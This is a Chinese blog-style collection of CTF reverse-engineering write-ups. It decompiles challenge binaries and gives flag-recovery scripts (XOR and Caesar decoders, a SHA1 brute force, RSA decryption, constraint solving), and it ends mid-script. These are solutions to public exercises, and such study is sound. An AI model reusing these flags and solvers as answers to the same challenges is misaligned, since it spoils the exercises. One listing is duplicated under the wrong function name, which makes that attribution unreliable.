1.luck_guy

image-20221122005152510

1
2
3
4
5
6
7
8
9
s='icug`of'
str=list(s)
flag ='GXY{do_not_'
for i in range(len(str)):
if i%2==1:
flag+=chr(ord(str[i])-2)
else:
flag+=chr(ord(str[i])-1)
print(flag)

2.Maze

image-20221122130013903

3.Younger-Drive

本题有壳upx,脱完之后拖进ida32,老样子,先查看字符串

image-20221127101731656

去看看input flag

image-20221127101805668

交叉引用看看哪里用到了

进入到这个函数看看,反汇编看看伪代码

image-20221127102104250

可以看到这是一个输入函数,是要我们输入对应的flag的,那就看看Source哪里有用到

image-20221127102152427

一个个查看

image-20221127102208930

多线程,对线程的了解不是太熟悉,只能硬靠百度了

image-20221127102243250

这里对Source也就是我们的flag进行了加密,调用了sub_41112C函数

image-20221127104148192

这里就是对加密后的字符串进行比较了,一共30个字符,正确的话就打印出来,那就看看off_418004是什么

image-20221127104335078

现在可以回过头去看看那个创建多线程的函数了

image-20221127105101111

主要是这两个线程

image-20221127105129129

StartAddress是进行加密的函数

image-20221127105303338

观察第二个线程的函数,sub_411B10,观察这两个函数后,都有个sleep(0X64u),多线程这里应该是等第一个线程获取资源执行完之后sleep等待第二个线程执行,第二个线程执行完后又sleep等待第一个线程执行完,所以应该是交替进行的,再去看看加密函数

image-20221127105631858

在网上看wp时大多这里都看不了,是因为堆栈不平衡,但是不知道为什么我这里直接进来了

image-20221127112539061

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
source="TOiZiZtOrYaToUwPnToBsOaOapsyS"
flag=""
list="QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
s=0
for i in range(len(source)):
if (i%2==0):
flag+=source[i]
else:
if(source[i].isupper()): #因为大写字母-32是27-52,对应list的小写字母,所以原字符是小写字母
s=list.find(source[i])+96
flag+=chr(s)
else:
s=list.find(source[i])+38 #小写字母-96是1-26
flag+=chr(s)
print(flag)

4.Java逆向解密

下载题目后是class文件,所以使用jd-gui打开,逻辑比较简单,就直接上脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package Java_reverse;
import java.util.*;
public class Java逆向解密 {
public static void main(String[] args) {
int[] KEY = {
180, 136, 137, 147, 191, 137, 147, 191, 148, 136,
133, 191, 134, 140, 129, 135, 191, 65 };
String Flag="";
for(int i=0;i<KEY.length;i++) {
char ret=(char) (KEY[i]-64 ^ 0x20);
Flag+=ret;
}
System.out.println(Flag);
}
}

5.pyre

下载题目后发现是pyc文件,打也打不开,上网搜索一番后发现需要用uncompyle库来将pyc文件还原成py文件,百度之后知道了pyc文件是py文件编译之后的结果,这样之后再运行的时候就可以省去编译的时间了。

下载好uncompyle库之后想反编译发现报错

image-20221211015022289

去网上搜寻一番

(164条消息) python3.10安装uncompyle6错误(已解决)_principle1的博客-CSDN博客_uncompyle6 安装

是要找到op_imports.py的185,全文搜索canonic_python_version,但是那篇博客修改的是canonic_version,所以应该搜索的是canonic_version

image-20221211015527703

添加完成后重新执行uncompyle6 attachment.pyc > 1.py得到1.py,这样就可以进行逆向了

image-20221211020051241

脚本

1
2
3
4
5
6
7
8
9
code = ['\x1f','\x12','\x1d','(','0','4','\x01','\x06','\x14','4',',','\x1b','U','?','o','6','*',':','\x01','D',';','%','\x13']

for i in range(21,-1,-1):
code[i] = chr(ord(code[i])^ord(code[i+1]))
#往回异或

for i in range(len(code)):
print(chr((ord(code[i])-i)%128),end="")
#减去下标

6.findit

凯撒解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#key = [ 0x54, 0x68, 0x69, 0x73, 0x49, 0x73, 0x54, 0x68, 0x65, 0x46, 0x6c, 0x61, 0x67, 0x48, 0x6f, 0x6d, 0x65 ]
key = [
0x70, 0x76, 0x6b, 0x71, 0x7b, 0x6d, 0x31, 0x36, 0x34, 0x36, 0x37, 0x35, 0x32, 0x36, 0x32, 0x30, 0x33, 0x33, 0x6c,
0x34, 0x6d, 0x34, 0x39, 0x6c, 0x6e, 0x70, 0x37, 0x70, 0x39, 0x6d, 0x6e, 0x6b, 0x32, 0x38, 0x6b, 0x37, 0x35, 0x7d
]
flag = ""

for k in key:
flag = flag + chr(k)
# print(flag)

letter = "abcdefghijklmnopqrstuvwxyz" # 26个字母
result = []
for i in range(0,26):
res = ""
for x in flag:
if x.isalpha(): # 只对字母进行偏移
x = (ord(x) + i) % 26
res = res + letter[x]
else: res = res + x # 不是字母的话,就直接加上去
print(res)
result.append(res)

# 获取真正的Flag
print("------------------------Real Flag---------------------------------------")
for ans in result:
if ans[0:4] == "flag": # 真正的答案是以flag开头的
print(ans)

image-20221212012848645

7.RSA1

这里回顾一下RSA加密的原理

公钥E=(e,N),私钥D=(d,N),N是公开的,N是由两个质数组成,d是1 < e < 欧拉函数p,q相乘结果T的模反元素,即d与T模1同余

image-20221212101723579

进行公钥解析得到公钥e,N

image-20221212102406742

e=6553

1
N=86934482296048119190666062003494800588905656017203025617216654058378322103517

用RSA Tool2解出另外的几个参数

image-20221212112524986

这里找到了关于这个工具的使用教程

(164条消息) RSA求解明文,安利函数pow()_宁嘉的博客-CSDN博客_rsa算法求明文

之后在Cal.D解出D

image-20221212112725360

跟网上的wp一对比发现D错了,D是跟p,q,e有关,但是N给了,使用的p,q也没错,只可能是e错了,这里我一开始用的是65537的HEX编码,这里才知道HEX编码和十六进制并不一样

image-20221212114426636

65537的十六进制编码是1,这里我懵了,上网搜寻一番才知道,0~65535是无符号数的范围,65535是FFFF,+1后是65536,就是10000,再加1就是65537,就是10001。使用将e改成10001

在网上找了一个脚本,同时学习了一下with open,而且还有给python310添加了rsa库

image-20221212120630355

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import rsa

e= 65537
n= 86934482296048119190666062003494800588905656017203025617216654058378322103517
p= 285960468890451637935629440372639283459
q= 304008741604601924494328155975272418463
d= 81176168860169991027846870170527607562179635470395365333547868786951080991441

key = rsa.PrivateKey(n,e,d,q,p) #在pkcs标准中,pkcs#1规定,私钥包含(n,e,d,p,q)

with open("D:\\Desk\\output\\flag.enc","rb") as f: #以二进制读模式,读取密文
f = f.read()
print(rsa.decrypt(f,key)) # f:公钥加密结果 key:私钥

8.login

拿到题目,是html文件,用vscode打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE Html />
<html>
<head>
<title>FLARE On 2017</title>
</head>
<body>
<input type="text" name="flag" id="flag" value="Enter the flag" />
<input type="button" id="prompt" value="Click to check the flag" />
<script type="text/javascript">
document.getElementById("prompt").onclick = function () {
var flag = document.getElementById("flag").value;
var rotFlag = flag.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);});
if ("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz" == rotFlag) {
alert("Correct flag!");
} else {
alert("Incorrect flag, rot again");
}
}
</script>
</body>
</html>

这里就是输入的flag如果当前的字符是字母就要replace掉,

replace里面是个嵌套的三目运算符,先判断是否是大写字母,如果是就赋值当前字符c为90,如果不是,就赋值为122,如果赋值完后的字符c1大于等于没赋值前的字符c + 13c2 = c + 13就把这个字符c1赋值给c2,如果小于则赋值给 c2-26

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s="PyvragFvqrYbtvafNerRnfl@syner-ba.pbz"
flag=""
for i in range(len(s)):
for j in range(128):
if j in range(65,91) or j in range(97,123):
t1 = j
t2 = j + 13
if (j < 90) or (j == 90):
j = 90
else:
j = 122
if (j > t2) or (j == t2):
j = t2
else:
j = t2 -26
if chr(j) == s[i]:
flag = flag + chr(t1)
elif chr(j) == s[i]:
flag = flag + chr(j)
print(flag)

image-20221213110731736

9.CrackRTF

参考了一位大佬的博客(164条消息) BUUCTF reverse:CrackRTF_Lk k k的博客-CSDN博客

知道了第一个密码是哈希的sha1加密,并且输入前半段的范围是要大于100000的,而且必须得是6位,这就得出范围是100000-999999,用python遍历爆破

image-20221218010348307

1
2
3
4
5
6
7
import hashlib

for i in range(100000, 1000000):
s = str(i) + '@DBApp'
sha = hashlib.sha1(s.encode('utf-8')).hexdigest()
if sha == '6e32d0943418c2c33385bc35a1470250dd8923a9':
print(i)

得到第一个密码是123321

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HRSRC FindResourceA(
HMODULE hModule,
LPCSTR lpName,
LPCSTR lpType
);
FindResourceA function
Determines the location of a resource with the specified type and name in the specified module.
确定具有指定类型和名称的资源在指定模块中的位置。
hModule:处理包含资源的可执行文件的模块。NULL值则指定模块句柄指向操作系统通常情况下创建最近过程的相关位图文件。
lpName:指定资源名称。
lpType:指定资源类型。
返回值:如果函数运行成功,那么返回值为指向被指定资源信息块的句柄。为了获得这些资源,将这个句柄传递给LoadResource函数。如果函数运行失败,则返回值为NULL。


openai:
hResInfo = FindResourceA(0, (LPCSTR)'e', "AAA")这个函数调用的含义
是?

FindResourceA()函数用于查找资源,它接受三个参数:hModule(可以为NULL)、lpName(资源名)和lpType(资源类型)。在此调用中,hModule为NULL,lpName为'e',lpType为"AAA",表示查找名为'e'、类型为"AAA"的资源。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
char __cdecl sub_4014D0(LPCSTR lpString)
{
LPCVOID lpBuffer; // [esp+50h] [ebp-1Ch]
DWORD NumberOfBytesWritten; // [esp+58h] [ebp-14h]
DWORD nNumberOfBytesToWrite; // [esp+5Ch] [ebp-10h]
HGLOBAL hResData; // [esp+60h] [ebp-Ch]
HRSRC hResInfo; // [esp+64h] [ebp-8h]
HANDLE hFile; // [esp+68h] [ebp-4h]

hFile = 0;
hResData = 0;
nNumberOfBytesToWrite = 0;
NumberOfBytesWritten = 0;
hResInfo = FindResourceA(0, (LPCSTR)'e', "AAA");
if ( !hResInfo )
return 0;
nNumberOfBytesToWrite = SizeofResource(0, hResInfo);
hResData = LoadResource(0, hResInfo);
if ( !hResData )
return 0;
lpBuffer = LockResource(hResData);
sub_401005(lpString, (int)lpBuffer, nNumberOfBytesToWrite);
hFile = CreateFileA("dbapp.rtf", 0x10000000u, 0, 0, 2u, 0x80u, 0);
if ( hFile == (HANDLE)-1 )
return 0;
if ( !WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
return 0;
CloseHandle(hFile);
return 1;
}

接着还有第二个密码的加密

image-20230217172025368

这个0x8003就是对数据进行md5编码,但由于他第二个加密并没有说明范围,所以不能进行爆破

下面又有一个函数sub_40100F,点进去看一看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
char __cdecl sub_4014D0(LPCSTR lpString)
{
LPCVOID lpBuffer; // [esp+50h] [ebp-1Ch]
DWORD NumberOfBytesWritten; // [esp+58h] [ebp-14h]
DWORD nNumberOfBytesToWrite; // [esp+5Ch] [ebp-10h]
HGLOBAL hResData; // [esp+60h] [ebp-Ch]
HRSRC hResInfo; // [esp+64h] [ebp-8h]
HANDLE hFile; // [esp+68h] [ebp-4h]

hFile = 0;
hResData = 0;
nNumberOfBytesToWrite = 0;
NumberOfBytesWritten = 0;
hResInfo = FindResourceA(0, (LPCSTR)'e', "AAA");
if ( !hResInfo )
return 0;
nNumberOfBytesToWrite = SizeofResource(0, hResInfo);
hResData = LoadResource(0, hResInfo);
if ( !hResData )
return 0;
lpBuffer = LockResource(hResData);
sub_401005(lpString, (int)lpBuffer, nNumberOfBytesToWrite);
hFile = CreateFileA("dbapp.rtf", 0x10000000u, 0, 0, 2u, 0x80u, 0);
if ( hFile == (HANDLE)-1 )
return 0;
if ( !WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
return 0;
CloseHandle(hFile);
return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
HRSRC FindResourceA(
HMODULE hModule,
LPCSTR lpName,
LPCSTR lpType
);
FindResourceA function
Determines the location of a resource with the specified type and name in the specified module.
确定具有指定类型和名称的资源在指定模块中的位置。
hModule:处理包含资源的可执行文件的模块。NULL值则指定模块句柄指向操作系统通常情况下创建最近过程的相关位图文件。
lpName:指定资源名称。
lpType:指定资源类型。
返回值:如果函数运行成功,那么返回值为指向被指定资源信息块的句柄。为了获得这些资源,将这个句柄传递给LoadResource函数。如果函数运行失败,则返回值为NULL

image-20230422114943240

然后后面还有个函数

1
sub_401005(lpString, (int)lpBuffer, nNumberOfBytesToWrite);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned int __cdecl sub_401420(LPCSTR lpString, int a2, int a3)
{
unsigned int result; // eax
unsigned int i; // [esp+4Ch] [ebp-Ch]
unsigned int v5; // [esp+54h] [ebp-4h]

v5 = lstrlenA(lpString);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
*(_BYTE *)(i + a2) ^= lpString[i % v5];
}
return result;
}

资源的每一位和密码的每一位循环异或
异或结束之后,生成一个rtf文件

我们现在想要的是前六位的密码,循环异或的话,那么也就是说,资源的前六位与密码的前六位异或的结果就是rtf文件的前六位

接下来没思路了,看了一个大佬的思路,可以借鉴一下

image-20230425171946122

(198条消息) BUUCTF reverse:CrackRTF_Lk k k的博客-CSDN博客

10.[WUSTCTF2020]level1

拿到文件,日常检查

image-20230425174324824

然后本来想在虚拟机下直接运行看看

image-20230425174423061

但是发生了这样的错误

于是就搜索了一番

什么是段错误?
“ 段错误(segmentation fault)”是指你的程序尝试访问不允许访问的内存地址的情况。这可能是由于:

试图解引用空指针(你不被允许访问内存地址 0);
试图解引用其他一些不在你内存(LCTT 译注:指不在合法的内存地址区间内)中的指针;
一个已被破坏并且指向错误的地方的 C++ 虚表指针(C++ vtable pointer),这导致程序尝试执行没有执行权限的内存中的指令;
其他一些我不明白的事情,比如我认为访问未对齐的内存地址也可能会导致段错误(LCTT 译注:在要求自然边界对齐的体系结构,如 MIPS、ARM 中更容易因非对齐访问产生段错误)。

知识盲区。。。

只好作罢,开启ida

image-20230425175818029

题目还给了一个output.txt文件,应该是文件输入输出流,那么进一下main函数看看

image-20230425180459859

这里可以看到读入了19长度的字符,如果i是奇数就移位i,如果是偶数就是i*ptr[i]

脚本如下

1
2
3
4
5
6
7
ptr = [198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000]

for i in range(19):
if ((i+1) & 1):#初始i为0,源程序i为1
print(chr(ptr[i] >> (i+1)),end="")
else:
print (chr(ptr[i] // (i+1)),end="")

11.[GUET-CTF2019]re1

日常检查

image-20230428170724702

upx壳,先脱壳

image-20230428171023209

image-20230428171054773

还是想在Ubuntu下运行看看

image-20230428171225444

那么结果清晰明了,这就是个输入flag并检验的程序

拖入ida

image-20230428171351664

查看字符串信息

双击Correct!,并进入他的引用函数

image-20230428171505732

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_400E28(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
int v6; // edx
int v7; // ecx
int v8; // er8
int v9; // er9
__int64 result; // rax
__int64 v11; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+28h] [rbp-8h]

v12 = __readfsqword(0x28u);
sub_40F950((unsigned int)"input your flag:", a2, a3, a4, a5, a6, 0LL, 0LL, 0LL, 0LL);
sub_40FA80((unsigned int)"%s", (unsigned int)&v11, v6, v7, v8, v9, v11);
if ( (unsigned int)sub_4009AE(&v11) )
sub_410350("Correct!");
else
sub_410350("Wrong!");
result = 0LL;
if ( __readfsqword(0x28u) != v12 )
sub_443550();
return result;
}

sub_40F950是一个输入函数

进入到sub_40FA80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
__int64 sub_40FA80(__int64 a1, ...)
{
_QWORD *v2; // rbx
_DWORD *v3; // rcx
int v4; // eax
unsigned __int64 v6; // r8
bool v8; // zf
unsigned int v9; // eax
unsigned int v10; // esi
__int64 v11; // rdx
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

v2 = off_6CA748;
v3 = off_6CA748;
if ( (*(_DWORD *)off_6CA748 & 0x8000) == 0 )
{
_RDX = *((_QWORD *)off_6CA748 + 17);
v6 = __readfsqword(0x10u);
if ( v6 == *(_QWORD *)(_RDX + 8) )
{
v3 = off_6CA748;
goto LABEL_9;
}
_ESI = 1;
v8 = dword_6CD1BC == 0;
if ( dword_6CD1BC )
{
v4 = *(_DWORD *)off_6CA748 & 0x8000;
if ( v4 == _InterlockedCompareExchange((volatile signed __int32 *)_RDX, 1, v4) )
goto LABEL_8;
}
else
{
__asm { cmpxchg [rdx], esi }
if ( v8 )
{
LABEL_8:
_RDX = v2[17];
v3 = off_6CA748;
*(_QWORD *)(_RDX + 8) = v6;
LABEL_9:
++*(_DWORD *)(_RDX + 4);
goto LABEL_10;
}
}
sub_443060(_RDX, 1LL);
goto LABEL_8;
}
LABEL_10:
v3[29] |= 0x10u;
va_start(va, a1);
v9 = sub_462860(off_6CA748, a1, va, 0LL);
*((_DWORD *)v2 + 29) &= 0xFFFFFFEB;
v10 = v9;
if ( (*(_DWORD *)v2 & 0x8000) == 0 )
{
v11 = v2[17];
v8 = (*(_DWORD *)(v11 + 4))-- == 1;
if ( v8 )
{
*(_QWORD *)(v11 + 8) = 0LL;
if ( dword_6CD1BC )
{
if ( !_InterlockedDecrement((volatile signed __int32 *)v11) )
return v10;
goto LABEL_16;
}
v8 = (*(_DWORD *)v11)-- == 1;
if ( !v8 )
{
LABEL_16:
sub_443090(v11, v9);
return v10;
}
}
}
return v10;
}

可以看到经过若干个判断,他只返回v10并且判断过程中没有对v10进行更改,所以要看第一个对v10进行更改的地方,v10=v9,,而v9又被sub_462860这个函数进行了赋值,跟进看看

打开来看到的是一连串超长的代码,甚至他有6953行

image-20230428174805581

但是整体看完之后,他只返回了-1或是v28,v28又一定是-1(根据分析关于v28的代码得到),但是好像没什么用,还是回到主函数接着看看这个函数

1
2
if ( sub_4009AE(&v7) )
sub_410350("Correct!");

image-20230428175127877

这里肯定要返回的是5759124 * a1[31] == 719890500

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
_BOOL8 __fastcall sub_4009AE(char *a1)
{
if ( 1629056 * *a1 != 166163712 )
return 0LL;
if ( 6771600 * a1[1] != 731332800 )
return 0LL;
if ( 3682944 * a1[2] != 357245568 )
return 0LL;
if ( 10431000 * a1[3] != 1074393000 )
return 0LL;
if ( 3977328 * a1[4] != 489211344 )
return 0LL;
if ( 5138336 * a1[5] != 518971936 )
return 0LL;
if ( 7532250 * a1[7] != 406741500 )
return 0LL;
if ( 5551632 * a1[8] != 294236496 )
return 0LL;
if ( 3409728 * a1[9] != 177305856 )
return 0LL;
if ( 13013670 * a1[10] != 650683500 )
return 0LL;
if ( 6088797 * a1[11] != 298351053 )
return 0LL;
if ( 7884663 * a1[12] != 386348487 )
return 0LL;
if ( 8944053 * a1[13] != 438258597 )
return 0LL;
if ( 5198490 * a1[14] != 249527520 )
return 0LL;
if ( 4544518 * a1[15] != 445362764 )
return 0LL;
if ( 3645600 * a1[17] != 174988800 )
return 0LL;
if ( 10115280 * a1[16] != 981182160 )
return 0LL;
if ( 9667504 * a1[18] != 493042704 )
return 0LL;
if ( 5364450 * a1[19] != 257493600 )
return 0LL;
if ( 13464540 * a1[20] != 767478780 )
return 0LL;
if ( 5488432 * a1[21] != 312840624 )
return 0LL;
if ( 14479500 * a1[22] != 1404511500 )
return 0LL;
if ( 6451830 * a1[23] != 316139670 )
return 0LL;
if ( 6252576 * a1[24] != 619005024 )
return 0LL;
if ( 7763364 * a1[25] != 372641472 )
return 0LL;
if ( 7327320 * a1[26] != 373693320 )
return 0LL;
if ( 8741520 * a1[27] != 498266640 )
return 0LL;
if ( 8871876 * a1[28] != 452465676 )
return 0LL;
if ( 4086720 * a1[29] != 208422720 )
return 0LL;
if ( 9374400 * a1[30] == 515592000 )
return 5759124 * a1[31] == 719890500;
return 0LL;
}

那么大概flag就是a1这个char数组了,是一个很简单的if判断,相除即可还原a1

image-20230428180750423

注意这里a1[16]和a[17换了位置],并且没有a[6]这个东西

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>
#include <stdlib.h>
using namespace std;



int main()
{
char a1[50];
memset(a1, '\0', 50);

int a[] = { 166163712 ,731332800,357245568,1074393000,489211344
,518971936, 406741500 ,294236496 ,177305856 ,650683500
,298351053 ,386348487,438258597,249527520,445362764 ,981182160
,174988800
,493042704 ,257493600,767478780 ,312840624
,1404511500 ,316139670 ,619005024,372641472,373693320
,498266640 ,452465676 ,208422720,515592000 ,719890500 };
int div[] = { 1629056 ,6771600 ,3682944 ,10431000
,3977328 ,5138336 ,7532250,5551632,3409728 ,13013670
,6088797 ,7884663 ,8944053 ,5198490 ,4544518,10115280
,3645600 ,9667504 ,5364450 ,13464540 ,5488432 ,14479500
,6451830 ,6252576 ,7763364 ,7327320 ,8741520
,8871876 ,4086720 ,9374400 ,5759124 };


for (int i = 0; i < 31; i++)
{
a1[i] = a[i] / div[i];
cout << a1[i];
}



return 0;
}

最后得出的是flag{e65421110ba03099a1c039337},但是注意我们这个flag是没有a1[6]的,所以就0-9,a-z,A-Z都试一遍。

最后a1[6]就是1,所以flag就是flag{e165421110ba03099a1c039337}

附:

最后搜寻网上解答是看到了z3解方程的方法,在此处记录下

Z3介绍,什么是Z3?

Z3是由微软公司开发的一个优秀的SMT求解器,它能够检查逻辑表达式的可满足性,可以用来软件/硬件验证和测试,约束求解,混合系统分析,安全性研究,生物学研究(计算机分析)以及几何问题。通俗的来讲我们可以简单理解为它是一个解方程的计算器,Z3py是使用脚本来解决一些实际问题。

Z3在CTF逆向中有什么用?

我们在做CTF逆向题的时候,当我们已经逆向到最后求flag或者具体数值解的时候,例如最简单的:我们知道了未知量x,y,也知道了约束条件x+y=5,那么此时我们就可以使用Z3来求解x和y的值,因为x和y的值肯定有多个解,而我们最后的flag肯定只有一个,那么我们就可以继续添加约束条件来减少解的数量,最后得出正确的flag

1
pip install z3-solver

Z3语法简介:

Z3在python中主要有以下数据类型:Int –> 整型Bool –> 布尔型Array –> 数组BitVec(‘a’,8) –> char型(其中的数字不一定是8,例如C语言中的int型可以用BitVec(‘a’,32)表示)

几个常用API

Solver():创建一个通用求解器,创建后我们可以添加我们的约束条件,进行下一步的求解。**
**

add():添加约束条件,通常在solver()命令之后,添加的约束条件通常是一个逻辑等式。

check():通常用来判断在添加完约束条件后,来检测解的情况,有解的时候会回显sat,无解的时候会回显unsat。**
**

model():在存在解的时候,该函数会将每个限制条件所对应的解集取交集,进而得出正解。

问题:假设有两个未知数x和y,已知x+y=5且2x+3y=14,让我们求x和y分别是多少?(可能有的小伙伴会问了,你不会是个傻子吧,这还用编程计算?我口算都能算得出来,这里我只是给大家随便举了个简单的例子,大家别往心里去,主要目的是演示Z3用法 -。-)下面我们按照我们刚才的思路使用Z3进行编写:

1.设未知数:

1
2
3
from z3 import *
x = Int('x')
y = Int('y')

2.列方程:

1
2
3
s = Solver()
s.add(x+y==5)
s.add(2*x+3*y==14)

3.解方程判断是否有解

1
2
if s.check() == sat:
result = s.model()

4.输出方程的解,没有解则输出无解

1
2
3
print result
else:
print '无解'

参考文章:

CTF逆向解题辅助工具——Z3约束求解器 - FreeBuf网络安全行业门户

12.[2019红帽杯]easyRE1

日常检查

image-20230430173858216

拖入ida,查看字符串信息

image-20230430174646100

这里有一些变量字符串信息

image-20230430174720012

1
2
3
4
5
6
7
8
9
10
11
12
13
.rodata:00000000004A23A8 aVm0wd2vhuxhtwg db 'Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xV'
.rodata:00000000004A23A8 ; DATA XREF: .data:off_6CC090↓o
.rodata:00000000004A23A8 db 'mpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW'
.rodata:00000000004A23A8 db '01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWx'
.rodata:00000000004A23A8 db 'ob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZS'
.rodata:00000000004A23A8 db 'R1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT'
.rodata:00000000004A23A8 db '2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1'
.rodata:00000000004A23A8 db 'ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1d'
.rodata:00000000004A23A8 db 'sWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1Ex'
.rodata:00000000004A23A8 db 'WlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGS'
.rodata:00000000004A23A8 db 'nJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSl'
.rodata:00000000004A23A8 db 'lUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnR'
.rodata:00000000004A23A8 db 'lRXRXTVZaSFVsUnNVVlZVTURrPQ==',0

来到主函数查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
 v19 = __readfsqword(0x28u);
qmemcpy(v12, "Iodl>Qnb(ocy", 12);
v12[12] = 127;
qmemcpy(v13, "y.i", 3);
v13[3] = 127;
qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14));
memset(v15, 0, sizeof(v15));
v16 = 0;
v17 = 0;
sub_4406E0(0LL, v15, 37LL);
v17 = 0;
if ( sub_424BA0(v15) == 36 )
{
for ( i = 0; i < (unsigned __int64)sub_424BA0(v15); ++i )
{
if ( (unsigned __int8)(v15[i] ^ i) != v12[i] )
{
result = 4294967294LL;
goto LABEL_13;
}
}
sub_410CC0("continue!");
memset(v18, 0, 0x40uLL);
v18[64] = 0;
sub_4406E0(0LL, v18, 64LL);
v18[39] = 0;
if ( sub_424BA0(v18) == 39 )
{
v2 = sub_400E44(v18);
v3 = sub_400E44(v2);
v4 = sub_400E44(v3);
v5 = sub_400E44(v4);
v6 = sub_400E44(v5);
v7 = sub_400E44(v6);
v8 = sub_400E44(v7);
v9 = sub_400E44(v8);
v10 = sub_400E44(v9);
v11 = sub_400E44(v10);
if ( !(unsigned int)sub_400360(v11, off_6CC090) )
{
sub_410CC0("You found me!!!");
sub_410CC0("bye bye~");
}
result = 0LL;
}
else
{
result = 4294967293LL;
}
}
else
{
result = 0xFFFFFFFFLL;
}
LABEL_13:
if ( __readfsqword(0x28u) != v19 )
sub_444020();
return result;
}

可见前面这几个对v12,v13,v14,都进行了一系列初始化操作

v12初始化成Iodl>Qnb(ocy

v13初始化成y.i

v14初始化成d`3w}wek9{iy=~yL@EC

v15可能是flag,长度是36

暂时不知道sub_4406E0(0LL, v15, 37LL);这个是干嘛的,可能是flag的输入

接着往下分析可以看出来,后面还有一段flag,是39位的,先进行第一段的解密吧

这里是判断v15异或是否满足v12的条件,但是v12的长度肯定是不够的,所以猜测应该是v12+v13+v14,这样刚好就是36位

image-20230430182031152

记得要让第十二和第十六位是127

a={73,111,100,108,62,81,110,98,40,111,99,121,127,121,46,105,127,100,96,51,119,125,119,101,107,57,123,105,121,61,126,121,76,64,69,67,}

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <iostream>
#include <stdlib.h>
using namespace std;



int main()
{
char a[] = { 73,111,100,108,62,81,110,98,40,111,99,121,127,121,46,105,127,100,96,51,119,125,119,101,107,57,123,105,121,61,126,121,76,64,69,67, };
char v5[36];
memset(v5, '\0', 36);
for (int i = 0; i < 36; i++)
{
v5[i] = i ^ a[i];
cout << v5[i];
}
return 0;
}

结果是这样的:

Info:The first four chars are flag

下面是对第二个信息v18进行加密,长度是39,sub_400E44,点进这个函数,是base64加密,并且进行了10次

image-20230430184238399

image-20230430184742600

顺便在此放上一个b站up主讲的base64编码,讲得非常耐斯

原理到实现 | 一个视频完全掌握base64编码_哔哩哔哩_bilibili

与&运算:比如与3进行与运算,那么3位置上的数他还有,其他全部清零

加密后的结果是off_6CC090,查看他的值,就是我们刚进来时看到的一大长串变量字符串

脚本如下:

1
2
3
4
5
import base64
